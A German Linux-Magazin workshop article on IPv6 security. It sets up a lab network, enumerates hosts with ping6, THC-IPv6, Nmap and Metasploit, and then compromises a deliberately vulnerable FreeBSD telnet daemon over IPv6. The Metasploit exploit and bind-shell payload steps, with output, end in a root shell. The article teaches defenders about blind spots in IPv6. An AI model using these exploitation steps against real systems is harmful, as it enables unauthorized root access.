© Alvin Teo, 123RF.com

Wer unbedacht IPv6 in seinem Netzwerk aktiviert hat und dabei grundlegende Sicherheitsfragen außer Acht lässt, öffnet Angreifern Tür und Tor. Dieser Workshop zeigt einen erfolgreichen Einbruch via IPv6 auf einen Server und erläutert, wie die gängigen Sicherheitstools mit IPv6 arbeiten.

340 Sextillionen Adressen, also die Zahl 340 mit 36 darauf folgenden Nullen – so viele IP-Adressen unterstützt das IPv6-Protokoll. Der Nachfolger des mit “nur” 4,3 Milliarden IPs ausgestatteten IPv4 hat zwar bereits mehr als zehn Jahre auf dem Buckel, aber trotzdem fangen viele Unternehmen erst jetzt damit an, auf die neue Version umzustellen.

Dabei drohen manchmal böse Überraschungen: Oft ist das neue Protokoll bereits in Servern, Appliances oder Routern aktiviert, weil die Default-Einstellung der Geräte das so vorsieht. Und das wiederum öffnet Angreifern Tür und Tor.

Vorsicht ist angebracht

Dass auch IPv6 nicht gefeit ist gegen Sicherheitsprobleme, zeigte bereits ein Schwerpunkt im Linux-Magazin 08/12 [1]. Dennoch ist sich die Mehrheit der Experten einig: Der neue Standard wird sich durchsetzen, wenn auch zunächst erst in Dual-Stack-Umgebungen, wo IPv4 und IPv6 parallel laufen und spezielle Software für reibungslose Datenübertragung sorgt.

Dieser Workshop zeigt, wie der sicherheitsbewusste Admin sich eine IPv6-Testumgebung in seinem Labor aufbaut, dort einen Server mit einer über IPv6 erreichbaren Schwachstelle integriert und diese unter Einsatz der richtigen Linux-Security-Tools erkennt und den Server testweise kompromittiert.

Per Default aktiviert?

Alle halbwegs aktuellen Betriebssysteme beherrschen das IPv6-Protokoll und aktivieren es in vielen Fällen bereits per Default auf allen Netzwerkgeräten. Auf Linux lässt sich das an der Shell über einen einfachen Test mit »ifconfig« oder »ip« verifizieren (Listing 1).

01 root@bt:~# ifconfig -a
02 [...]
03 eth0   Link encap:Ethernet  HWaddr 00:0c:29:7c:e7:6a
04        inet addr:192.168.11.138  Bcast:192.168.11.255  Mask:255.255.255.0
05        inet6 addr: fe80::20c:29ff:fe7c:e76a/64 Scope:Link
06 [...]
07 root@bt:~# ip -6 addr
08 [...]
09 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436
10     inet6 ::1/128 scope host
11     valid_lft forever preferred_lft forever
12 [...]
13 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qlen 1000
14     inet6 fe80::20c:29ff:fecf:6aba/64 scope link
15     valid_lft forever preferred_lft forever

Ist das neue Protokoll aktiv, dann wird die Ausgabe der Interface-Konfiguration mindestens einen »inet6« -Eintrag aufweisen. Gibt es im internen Netzwerk einen IPv6-fähigen Router, dann ist möglicherweise neben der Link-Local-Adresse auch schon ein Präfix konfiguriert.

Trotz IPv6-Adresse nicht von außen erreichbar

Das bedeutet aber noch nicht, dass der Rechner auch automatisch von außen erreichbar ist. Der »Scope:Link« in Zeile 5 von Listing 1 bedeutet, dass die Adresse nur im lokalen Subnetz Verwendung findet, sie wird (wie bei lokalen IPv4-Adressen auch) nicht über Router- oder Netzwerkgrenzen hinweg weitergeleitet. Listing 2 zeigt, wie eine global gültige Konfiguration aussieht. Analog zu Ping, das ICMP-Pakete versendet und entgegennimmt, bietet »ping6« einen einfachen Test der IPv6-Funktionen. Für das Loopback-Interface lautete der Aufruf mit nur einem Paket:

01 inet6 addr: 2001:4dd0:fd42:3:20c:29ff:fe7c:e76a/64 Scope:Global**
02 [...]
03 inet6 addr: fd44:2011:1021:0:20c:29ff:fe7c:e76a/64 Scope:Global**
04 [...]
05 inet6 addr: fe80::20c:29ff:fe7c:e76a/64 Scope:Link**

# ping6 ::1 -c1
PING ::1(::1) 56 data bytes
64 bytes from ::1: icmp_seq=1 ttl=255 time=0.052 ms
--- ::1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.052/0.052/0.052/0.000 ms

Wie bei IPv4 ist auch ein Ping an eine Broadcast-Adresse möglich, auf das alle Systeme im lokalen Netzwerk antworten sollten. Für IPv6 lautet sie »ff02::1« . Der folgende simple Befehl bringt also schon eine erste Übersicht über die Hosts im lokalen Netzwerk:

# ping6 ff02::1%2 | cut -d -f4
fe80::20c:29ff:fecf:6aba:
fe80::20c:29ff:fe5c:e4b6:
fe80::20c:29ff:fef5:b6b0:
fe80::20c:29ff:fe01:95e3:[...]

Wer die Ausgabe mit »sort« ordnet, doppelte Einträge mit »uniq« entfernt und in ein Textfile umleitet, gewinnt bereits jetzt eine gute Grundlage für weitere Analysen.

Einen IPv6-Router konfigurieren mit Radvd

Für die nächsten Schritte bedarf es eines IPv6-Routers, der Clients via Stateless Autoconfiguration und IPv6-Advertisements das zu verwendende lokale Präfix mitteilt. Dafür taugt ein Linux-Rechner, auf dem das Paket »radvd« [2] installiert ist. Der kleine IPv6-Routing-Daemon überzeugt vor allem durch eine sehr einfache Konfiguration (Listing 3).

01 interface eth0
02 {
03  AdvSendAdvert on;
04  MinRtrAdvInterval 3;
05  MaxRtrAdvInterval 10;
06  AdvDefaultPreference low;
07  AdvHomeAgentFlag off;
08  prefix fd54:2473:5bb2:b744::/64
09  {
10   AdvOnLink on;
11   AdvAutonomous on;
12   AdvRouterAddr off;
13  };
14 };
15
16 interface eth1
17 {
18  AdvSendAdvert on;
19  MinRtrAdvInterval 3;
20  MaxRtrAdvInterval 10;
21  AdvDefaultPreference low;
22  AdvHomeAgentFlag off;
23  prefix fd36:46bc:cb59:2e2a::/64
24  {
25   AdvOnLink on;
26   AdvAutonomous on;
27   AdvRouterAddr off;
28  };
29 };

Achtung: Das in den Beispielen benutzte Adress-Präfix »fd54:2473:5bb2:b744::/64« haben die Autoren des Linux-Magazins für Testzwecke generiert. Für eine eigene Laborumgebung lässt sich eine passende IPv6-Adresse auf Webseiten wie Simple DNS Plus [3] erzeugen. Ebenfalls aufpassen sollte, wer bereits von seinem Provider IPv6-Adressen zugeteilt bekommen hat. Unter Umständen ist das Netz dann bereits nach dem Einrichten des Routers von außen erreichbar – mit allen damit verbundenen Gefahren. Wer dieses Risiko nicht scheut, aber keine offizielle IPv6-Adresse hat, greift zu Dual-Stack-Tools wie Miredo [4] oder Teredo [5].

Forwarding und routen

Jetzt »/proc/sys/net/ipv6/conf/all/forwarding« auf »1« setzen und das Init-Skript oder den Service beispielsweise mit »/etc/init.d/radvd start« anstoßen – schon läuft der eigene IPv6-Router. Sobald der Daemon neu gestartet ist, sollten angebundene Systeme mit aktiviertem IPv6 eine neue Adresse aufweisen.

Jetzt fehlen nur noch entsprechende Routen, damit sie korrekt über den Gateway kommunizieren können. Das erledigt der Admin mit dem Kommando »ip« für die beiden Netzwerkkarten:

# ip -6 route add fd54:2473:5bb2:b744::/64dev eth0
# ip -6 route add fd36:46bc:cb59:2e2a::/64dev eth1

»ip -6 route« überprüft anschließend, ob die Anweisungen auch in der Routing-Tabelle angekommen sind. Es bietet sich an, gleich einen Test mit »ping6« vorzunehmen und so zumindest die grundlegende Konnektivität der IPv6-Netzwerke über den Router zu verifizieren (Listing  4).

01 # ifconfig eth0
02 eth0      Link encap:Ethernet  HWaddr 00:0c:29:cf:6a:ba
03    inet addr:10.8.28.2  Bcast:10.8.28.255  Mask:255.255.255.0
04    inet6 addr: fd54:2473:5bb2:b744:20c:29ff:fecf:6aba/64 Scope:Global
05    inet6 addr: fe80::20c:29ff:fecf:6aba/64 Scope:Link
06 [...]
07 # ip -6 route
08 fd54:2473:5bb2:b744::/64 dev eth0  proto kernel  metric 256  expires 86405sec
09 fe80::/64 dev eth0  proto kernel  metric 256
10 default via fe80::20c:29ff:fe07:8b12 dev eth0  proto kernel  metric 1024
expires 25sec
11 # ping6 fd36:46bc:cb59:2e2a:20c:29ff:fef6:9a95
12 PING
fd36:46bc:cb59:2e2a:20c:29ff:fef6:9a95(fd36:46bc:cb59:2e2a:20c:29ff:fef6:9a95)
56 data bytes
13 64 bytes from fd36:46bc:cb59:2e2a:20c:29ff:fef6:9a95: icmp_seq=1 ttl=63
time=7.45 ms
14 64 bytes from fd36:46bc:cb59:2e2a:20c:29ff:fef6:9a95: icmp_seq=2 ttl=63
time=0.569 ms

Die IPv6-Nachbarschaft abfragen

Schon das Kommando »ip« erlaubt es jetzt, weitere IPv6-spezifische Daten abzufragen. Wer beispielsweise seine direkten Nachbarn mal kennenlernen will (ganz ähnlich dem ARP-Cache), erledigt das mit »ip -6 neigh« . In Kombination mit dem Bash-Tool »watch« überwacht es auf simple Weise das lokale Netzwerksegment und meldet neue IPv6-fähige Systeme fortlaufend:

# watch ip -6 neigh
Every 2.0s: ip -6 neigh Fri Jul 13 11:40:422012fe80::20c:29ff:fefb:dd18 dev eth0
lladdr 00:0c:29:fb:dd:18 REACHABLE[...]

Ist das Testszenario aufgebaut und funktioniert wie beschrieben, dann geht’s ans Krallenschärfen für Pentests.

Mittlerweile sind die meisten bekannteren Netzwerk-Analysetools IPv6-fähig. Neben Metasploit [6] lassen sich auch Nessus [7] und Nmap [8] zur Analyse von IPv6-fähigen Netzwerken einsetzen, Wireshark [9] selbstverständlich auch. Der folgende Teil dieses Workshops beschreibt eine beispielhafte Analyse eines internen IPv6-Netzwerks, wobei er zunächst keine speziellen IPv6-Angriffe umsetzt. Das erledigt später Metasploit vollautomatisch.

Pentests mit dem THC-IPv6-Attack-Toolkit

Listing 5 zeigt Installation und Einsatz des THC-IPv6-Attack-Toolkits [10]. Diese Toolbox beherbergt die wohl wichtigsten Werkzeuge zur Analyse und zum Angriff auf IPv6-Netzwerke, so viele, dass dieser Artikel nicht reicht, um alle zu beleuchten. Einen kurzen Überblick der wichtigsten Module gibt Tabelle 1. Den Anfang macht der Admin in den meisten Fällen mit dem Programm Alive6 (ebenfalls in Listing  5). Über zahlreiche Methoden ermittelt es alle IPv6-Systeme im lokalen Netz. Mit »-s« lassen sich die vielen Optionen konfigurieren, wobei die Online-Dokumentation die möglichen Verfahren auflistet. Zur Schwachstellenanalyse eigener IPv6-Netzwerke und Software-Implementierungen bieten sich aus Tabelle 1 speziell die Tools »fuzz_ip6« , »denial6« und »exploit6« an.

01 # wget http://www.thc.org/releases/thc-ipv6-1.8.tar.gz
02 # tar xzf thc-ipv6-1.8.tar.gz
03 # cd thc-ipv6-1.8
04 ~/thc-ipv6-1.8# sudo apt-get install libssl-dev
05 ~/thc-ipv6-1.8# make
06 ~/thc-ipv6-1.8# sudo ./alive6 eth0
07 Warning: unprefered IPv6 address had to be selected
08 Alive: fe80::20c:29ff:feec:1a8d
09 Alive: fe80::20c:29ff:fef5:b6b0
10 Alive: fe80::20c:29ff:fed9:71ca
11 Alive: fe80::20c:29ff:fe49:51bf
12 Alive: fe80::20c:29ff:fe46:8180
13 [...]
14 Found 19 systems alive

Wer bereits IPv6 produktiv einsetzt, sollte erwägen, im Rahmen solcher Tests auch gezielt Software von Dritten mit IPv6-Unterstützung auf Schwachstellen zu prüfen – idealerweise regelmäßig, zumindest aber nach jedem Software-Update.

Keine Überraschung: Auch Metasploit kann IPv6

Es verwundert nicht, dass auch die Entwickler des gelegentlich als Hackertool bezichtigten Metasploit [11] bereits an weitgehenden IPv6-Support gedacht haben. Fast alle Auxiliary-Module und Exploits funktionieren auch in IPv6-Netzwerken. Zudem bringt es eine Vielzahl unterschiedlicher IPv6-Payloads und spezielle IPv6-Auxiliary-Module mit. Listing  6 zeigt, wie der Admin mit Hilfe des »search« -Kommandos an der Metasploit-Konsole vorhandene IPv6-Module findet.

01 10.8.28.2 - (Sessions: 0 Jobs: 0)> search type:auxiliary ipv6
02    Name
03    ----
04    auxiliary/scanner/discovery/ipv6_multicast_ping
05    auxiliary/scanner/discovery/ipv6_neighbor
06    auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement
07 [...]

Die drei hier ermittelten Module eignen sich vor allem für einen Scan lokaler IPv6- aber auch IPv4-Netzwerke. Eine typische Vorgehensweise ist es jetzt, zuerst zum »ipv6_multicast_ping« und dann zu »ipv6_neighbor« zu greifen. So oder so ähnlich würde es auch ein Angreifer versuchen, der sich im lokalen Netz Orientierung verschaffen will.

Router-Multicast mit Metasploit ausnutzen

Weil IPv6 mehrere Multicast-Adressen kennt, lassen sich mit der Zieladresse »ff0X::2« explizit alle Router im LAN ansprechen. Das X steht dabei für den möglichen Scope, der folgende Werte aufweisen kann:

• »ff01::2« Alle vorhandenen Router in »interface-local«
• »ff02::2« Alle Router in »link-local«
• »ff05::2« Alle Router in »site-local«

Das Metasploit-Multicast-Ping-Modul sendet nun ICMP-Request an die IPv6-Multicast-Adressen und ermittelt mit den Antwortpaketen Systeme, die eine IPv6-Adresse besitzen, als Basis für weitere Untersuchungen (Listing 7).

01 10.8.28.2 - (Sessions: 0 Jobs: 0)> use
auxiliary/scanner/discovery/ipv6_multicast_ping
02 10.8.28.2 - (Sessions: 0 Jobs: 0) auxiliary(ipv6_multicast_ping) > show
options
03
04 Module options (auxiliary/scanner/discovery/ipv6_multicast_ping):
05
06    Name       Current Setting  Required  Description
07    ----       ---------------  --------  -----------
08    INTERFACE                   no        The name of the interface
09    SHOST                       no        The source IPv6 address
10    SMAC                        no        The source MAC address
11    TIMEOUT    5                yes       Timeout when waiting for host
response.
12
13 10.8.28.2 - (Sessions: 0 Jobs: 0) auxiliary(ipv6_multicast_ping) > run
14
15 [*] [2012.02.03-16:11:02] Sending multicast pings...
16 [*] [2012.02.03-16:11:07] Listening for responses...
17 [*] [2012.02.03-16:11:09]    |*| fe80::20c:29ff:fe4c:2f4d =>
00:0c:29:4c:2f:4d
18 [...]
19 [*] Auxiliary module execution completed

Das »ipv6_neighbor« -Modul arbeitet ein wenig anders: Es ist auf Analysen im lokalen Subnetz ausgelegt und versucht im ersten Schritt mit dem ARP-Protokoll aktive IPv4-Adressen zu ermitteln, anschließend die zu diesem System gehörige IPv6-Adresse. Dieser Vorgang ermöglicht es dem Admin, erkannte Services und Schwachstellen einfach gegenüberzustellen, unter Berücksichtigung ihrer IPv4- und IPv6-Adresse (Listing 8). Die von diesem Modul ermittelten Ergebnisse hinterlegt Metasploit in seiner Datenbank unter »notes« , sie lassen sich mit dem Filter auf den Typ »host.ipv4.ipv6.mapping« jederzeit ausgeben.

01 10.8.28.2 - (Sessions: 0 Jobs: 0) auxiliary(ipv6_neighbor) > show options
02
03 Module options (auxiliary/scanner/discovery/ipv6_neighbor):
04
05    Name       Current Setting    Required  Description
06    ----       ---------------    --------  -----------
07    INTERFACE  eth0               no        The name of the interface
08    RHOSTS     10.8.28.0/24       yes       The target address range or CIDR
09    SHOST                         no        Source IP Address
10    SMAC       00:0c:29:cf:6a:ba  yes       Source MAC Address
11    THREADS    15                 yes       The number of concurrent threads
12    TIMEOUT    500                yes       The number of seconds to wait
13
14 10.8.28.2 - (Sessions: 0 Jobs: 0) auxiliary(ipv6_neighbor) > set SHOST
10.8.28.2
15 SHOST => 10.8.28.2
16 ru10.8.28.2 - (Sessions: 0 Jobs: 0) auxiliary(ipv6_neighbor) > run
17
18 [*] [2012.02.03-16:13:11] Discovering IPv4 nodes via ARP...
19 [*] [2012.02.03-16:13:11]          10.8.28.3 ALIVE
20 [*] [2012.02.03-16:13:12]          10.8.28.4 ALIVE
21 [...]
22 [*] [2012.02.03-16:13:58] Discovering IPv6 addresses for IPv4 nodes...
23 [*] [2012.02.03-16:13:58]
24 [*] [2012.02.03-16:13:59]          10.8.28.3 maps to fe80::20c:29ff:fe68:a4d2
25 [*] [2012.02.03-16:14:00]          10.8.28.7 maps to fe80::20c:29ff:fe85:c24b
26 [...]
27 [*] Auxiliary module execution completed

Die IPv6-Module des Portscanners Nmap

Neben dem THC-Toolkit und Metasploit bieten auch andere Werkzeuge wie der bekannte Portscanner Nmap Hilfe bei der Analyse von IPv6-Netzwerken. Im ersten Schritt ermitteln Skripte aus der Nmap Scripting Engine (NSE, http://12) die IPv6-Systeme im lokalen Netzwerk. Vor allem die Discovery-Module, die im Namen den String »targets-ipv6-multicast« tragen, erweisen sich als angenehm, auch weil sie keinen Zieladressenbereich als Vorgabe verlangen (Listing 9).

01 Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-04-03 20:47 CEST
02 NSE: Loaded 3 scripts for scanning.
03 NSE: Script Pre-scanning.
04 Initiating NSE at 20:47
05 Completed NSE at 20:47, 3.02s elapsed
06 Pre-scan script results:
07 | targets-ipv6-multicast-echo:
08 |   IP: fe80::221:70ff:fe9d:1c54  MAC: 00:21:70:9d:1c:54  IFACE: eth0
09 |   IP: fe80::20c:29ff:fe85:c24b  MAC: 00:0c:29:85:c2:4b  IFACE: eth0
10 |   IP: fe80::20c:29ff:fe68:a4d2  MAC: 00:0c:29:68:a4:d2  IFACE: eth0
11 |_  Use --script-args=newtargets to add the results as targets
12 | targets-ipv6-multicast-invalid-dst:
13 |   IP: fe80::221:70ff:fe9d:1c54  MAC: 00:21:70:9d:1c:54  IFACE: eth0
14 |   IP: fe80::20c:29ff:fe85:c24b  MAC: 00:0c:29:85:c2:4b  IFACE: eth0
15 |   IP: fe80::20c:29ff:fe68:a4d2  MAC: 00:0c:29:68:a4:d2  IFACE: eth0
16 |_  Use --script-args=newtargets to add the results as targets
17 | targets-ipv6-multicast-slaac:
18 |   IP: fe80::20c:29ff:fe85:c24b  MAC: 00:0c:29:85:c2:4b  IFACE: eth0
19 |   IP: fe80::20c:29ff:fe68:a4d2  MAC: 00:0c:29:68:a4:d2  IFACE: eth0
20 |   IP: fe80::221:70ff:fe9d:1c54  MAC: 00:21:70:9d:1c:54  IFACE: eth0
21 |_  Use --script-args=newtargets to add the results as targets
22 NSE: Script Post-scanning.
23 Read data files from: /usr/local/bin/../share/nmap
24 WARNING: No targets were specified, so 0 hosts scanned.
25 Nmap done: 0 IP addresses (0 hosts up) scanned in 3.45 seconds
26            Raw packets sent: 0 (0B) | Rcvd: 0 (0B)

Mit den so gewonnenen Ergebnissen kann sich der Administrator daran machen, die IPv4-Adresse zu analysieren und anschließend die Ergebnisse mit denen der IPv6-Adresse zu vergleichen.

Das Angriffsziel: Ein BSD mit Telnet-Lücke

Um zu zeigen, dass es dabei durchaus sicherheitsrelevante Unterschiede geben kann, nutzen die folgenden Beispiele ein Free-BSD-System mit einer Schwachstelle im Telnet-Daemon. Das BSD-Testsystem liegt als vorkonfigurierte VMware-Instanz auf der Delug-DVD. Die meisten der im Folgenden beschriebenen Tools sind Bestandteil der Backtrack-DVD, deren neueste Version von der DVD bootet.

Wer selbst Hand anlegen will, lädt sich das BSD-ISO-Image von http://13 herunter. Die Version sollte 7.3 sein, da die Entwickler in späteren Varianten den Bug gefixt haben, den das folgende Beispiel auszunutzen trachtet. Um den IPv6-Support zu aktivieren, trägt man in der Konfigurationsdatei »/etc/rc.conf« die Zeile »ipv6_enable=”YES”« ein und prüft den Erfolg anschließend mit »ifconfig« – analog zu der eingangs beschriebenen Vorgehensweise.

Funktioniert das Netzwerk mit IPv6-Unterstützung, dann schaltet der Admin den Telnet-Service ausschließlich auf dem IPv6-Interface aktiv – in »/etc/inetd.conf« erledigen das die Zeilen:

# telnet stream tcp nowait root /usr/libexec/telnetd telnetdtelnet stream
tcp6 nowait root /usr/libexec/telnetd telnetd

IPv4 ist auskommentiert, der Telnet-Server nur auf der oder den IPv6-Adressen aktiv. Ein erster Test mit Nmap sollte jetzt ein positives Ergebnis bringen.

Nmap findet Telnet – zumindest teilweise

Allerdings verlangt der Scanner bei IPv6 zusätzlich das lokale IPv6-Interface als Parameter im Befehlsaufruf. Der Anwender fügt es einfach an die zu scannende IP-Adresse an (mit »%ethX« ). Das folgende Kommando wird jetzt beim BSD-System einen Server mit dem offenen Telnet-Port 23 liefern:

# nmap -6 fe80::20c:29ff:fe4c:2f4d%eth0

Ein Login mit einem IPv6-fähigen Telnet-Client (»telnet -6 fe80::20c:29ff:fe4c :2f4d%eth0 23« ) sollte funktionieren. Im Gegensatz dazu findet der Scanner ohne IPv6-Unterstützung diesen offenen Dienst nicht:

Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-02-03 16:08 CETNmap scan
report for 10.8.28.108
Host is up (0.00038s latency).
All 1000 scanned ports on 10.8.28.108 are closedMAC Address: 00:0C:29:4C:2F:4D
(VMware)
Nmap done: 1 IP address (1 host up) scannedin 7.28 seconds

Das Beispiel zeigt: Wer fahrlässig IPv6 in seinem Netzwerk betreibt oder es unwissentlich aktiviert hat, läuft Gefahr, dass seine gewohnten Kontrollmechanismen oder auch Firewalls Sicherheitslücken nicht erkennen. Angesichts dessen ist es durchaus notwendig, die eigenen Tools und Skripte anzupassen.

Auch Nmap erlaubt es, beispielsweise mit der oben beschriebenen Option »–script=targets-ipv6-multicast*« automatisch alle IPv6-Hosts einem Portscan zu unterziehen. Das Kommando

nmap --script=targets-ipv6-multicast*--script-args=newtargets -6 -sS

listet erst alle gefundenen Rechner, anschließend die dort offenen Ports auf.

Metasploit als Portscanner

Auch mit Metasploit kann der Admin einfache Portscans durchführen (Listing 10). Mit den Kommandos »show options« , »set« , »use« , »RHOST« , »LHOST« und »run« ermittelt er Zielhosts und -Services. Die legt Metasploit in seiner Datenbank ab, wo sie der Benutzer schnell mit »services« abrufen kann.

01 10.8.28.2 - (Sessions: 0 Jobs: 0)> use auxiliary/scanner/portscan/tcp
02
03 10.8.28.2 - (Sessions: 0 Jobs: 0) auxiliary(tcp) > set RHOSTS
fe80::20c:29ff:fe4c:2f4d
04 10.8.28.2 - (Sessions: 0 Jobs: 0) auxiliary(tcp) > set PORTS
"7,21,22,23,25,43,50,<snip>"
05 10.8.28.2 - (Sessions: 0 Jobs: 0) auxiliary(tcp) > set THREADS 50
06 10.8.28.2 - (Sessions: 0 Jobs: 0) auxiliary(tcp) > run
07
08 [*] [2012.02.03-16:54:50] fe80::20c:29ff:fe4c:2f4d:53 - TCP closed
09 [*] [2012.02.03-16:54:50] fe80::20c:29ff:fe4c:2f4d:23 - TCP OPEN
10 [*] [2012.02.03-16:54:50] fe80::20c:29ff:fe4c:2f4d:50 - TCP closed
11 [*] [2012.02.03-16:54:50] fe80::20c:29ff:fe4c:2f4d:25 - TCP closed

Wer jetzt gezielt mit »services -p 23 -R« und »run« den Telnet-Port des zu kompromittierenden Servers scannt, erhält von Metasploit bereits Auskunft über das System:

fe80::20c:29ff:fe4c:2f4d 23 tcp telnetopen FreeBSD/i386
(freebsd73.pwnme)(ttyp0)\x0d\x0a\x0d\x0alogin:

Der eingesetzte BSD-Server hat in seinem Telnet-Dienst eine Schwachstelle [14], die es erlaubt, sich ohne Passwort Rootrechte zu verschaffen.

Feindliche Übernahme

Metasploit bringt dafür bereits ein eigenes Auxiliary-Modul mit. Im einfachsten Fall wählt es der Anwender mit »use« aus und gibt mit »set RHOSTS« die IPv6-Zieladresse vor. Ein abschließendes »run« leitet den Scanvorgang ein – und schon bestätigt das Modul die Schwachstelle (Listing 11). Jetzt kommt der zugehörige Exploit mit einer IPv6-Bind-Payload und der IPv6-Zieladresse zum Einsatz: Das Kommando »show payloads« zeigt zu diesem Exploit kompatible Payloads, aus denen der Benutzer eine der IPv6-fähigen Payloads auswählen kann.

01 10.8.28.2 - (Sessions: 0 Jobs: 0)> use
auxiliary/scanner/telnet/telnet_encrypt_overflow
02 10.8.28.2 - (Sessions: 0 Jobs: 0) auxiliary(telnet_encrypt_overflow) > set
RHOSTS fe80::20c:29ff:fe4c:2f4d
03 RHOSTS => fe80::20c:29ff:fe4c:2f4d
04 10.8.28.2 - (Sessions: 0 Jobs: 0) auxiliary(telnet_encrypt_overflow) > run
05
06 [+] [2012.02.03-16:40:26] fe80::20c:29ff:fe4c:2f4d:23 VULNERABLE:
FreeBSD/i386 (free.pwnme) (ttyp0)\x0d\x0a\x0d\x0alogin:
07 [*] [2012.02.03-16:40:26] Scanned 1 of 1 hosts (100% complete)
08 [*] Auxiliary module execution completed

IPv6-Telnet-Exploit

Im rein lokalen Netzwerk (»Scope:Link« ) ist die IPv6-Reverse-Payload nur bedingt nutzbar, weil der Angreifer die Scope-ID beziehungsweise das lokale Interface des angegriffenen Systems mit angeben müsste. Dies kann er im Normalfall aber nicht übers Netzwerk bestimmen.

Erst »set PAYLOAD bsd/x86/shell/bind_ipv6_tcp« und »exploit« starten schließlich den eigentlichen Angriff, der mit einer Rootshell auf dem Server endet (Listing 12). Der Exploit gegen den Telnet-Service auf der IPv6-Adresse war erfolgreich, der Angreifer hat ohne Passwort Rootrechte auf dem Server erhalten.

01 10.8.28.2 - (Sessions: 0 Jobs: 0) exploit(telnet_encrypt_keyid) > set
PAYLOAD bsd/x86/shell/bind_ipv6_tcp
02 PAYLOAD => bsd/x86/shell/bind_ipv6_tcp
03 10.8.28.2 - (Sessions: 0 Jobs: 0) exploit(telnet_encrypt_keyid) > show
options
04
05 Module options (exploit/freebsd/telnet/telnet_encrypt_keyid):
06    Name      Current Setting           Required  Description
07    ----      ---------------           --------  -----------
08    PASSWORD                            no        The password
09    RHOST     fe80::20c:29ff:fe4c:2f4d  yes       The target address
10    RPORT     23                        yes       The target port
11    USERNAME                            no        The username to authenticate
12
13 Payload options (bsd/x86/shell/bind_ipv6_tcp):
14    Name   Current Setting           Required  Description
15    ----   ---------------           --------  -----------
16    LPORT  4444                      yes       The listen port
17    RHOST  fe80::20c:29ff:fe4c:2f4d  no        The target address
18
19 Exploit target:
20    Id  Name
21    --  ----
22    0   Automatic
23
24 10.8.28.2 - (Sessions: 0 Jobs: 0) exploit(telnet_encrypt_keyid) > exploit
25 [*] [2012.02.03-16:29:56] Started bind handler
26 [*] [2012.02.03-16:29:56] Brute forcing with 9 possible targets
27 [*] [2012.02.03-16:29:56] Trying target FreeBSD 8.2...
28 [*] [2012.02.03-16:29:56] FreeBSD/i386 (free.pwnme)
(ttyp0)\x0d\x0a\x0d\x0alogin:
29 [...]
30 [*] [2012.02.03-16:30:00] Sending first payload
31 [*] [2012.02.03-16:30:01] Sending second payload...
32 [*] [2012.02.03-16:30:01] Sending stage (46 bytes) to fe80::20c:29ff:fe4c:2f4d
33 [*] [2012.02.03-16:30:01] Trying target FreeBSD 7.0/7.1/7.2...
34 [*] Command shell session 1 opened (fe80::20c:29ff:fecf:6aba%eth0:45801 -> fe80::20c:29ff:fe4c:2f4d%eth0:4444) at 2012-02-03 16:30:02 +0100
35 id
36 uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)

Das Beispiel zeigt, wie ein Hacker ein System, das unter der IPv4-Adresse keine Services und auch keine Schwachstellen aufwies, über IPv6 angreifen und vollständig kompromittieren konnte.

Gefahrenquelle Appliance

Diese Gefahr wird immer größer, weil immer mehr Appliances und Router dazu übergehen, Ipv6 einfach per Default zu aktivieren. Und gerade die flexible BSD-Lizenz macht das freie Unix für Hardwareproduzenten interessant, die Firmware vieler Router wiederum das Berkeley-System. Ob dabei alle Hersteller auch nötige Updates und Patches einspielen, ist nicht immer gesichert. Dann ist nur der auf der sicheren Seite, der seine Sicherheits-Tools und -Policies frühzeitig auch an IPv6 anpasst.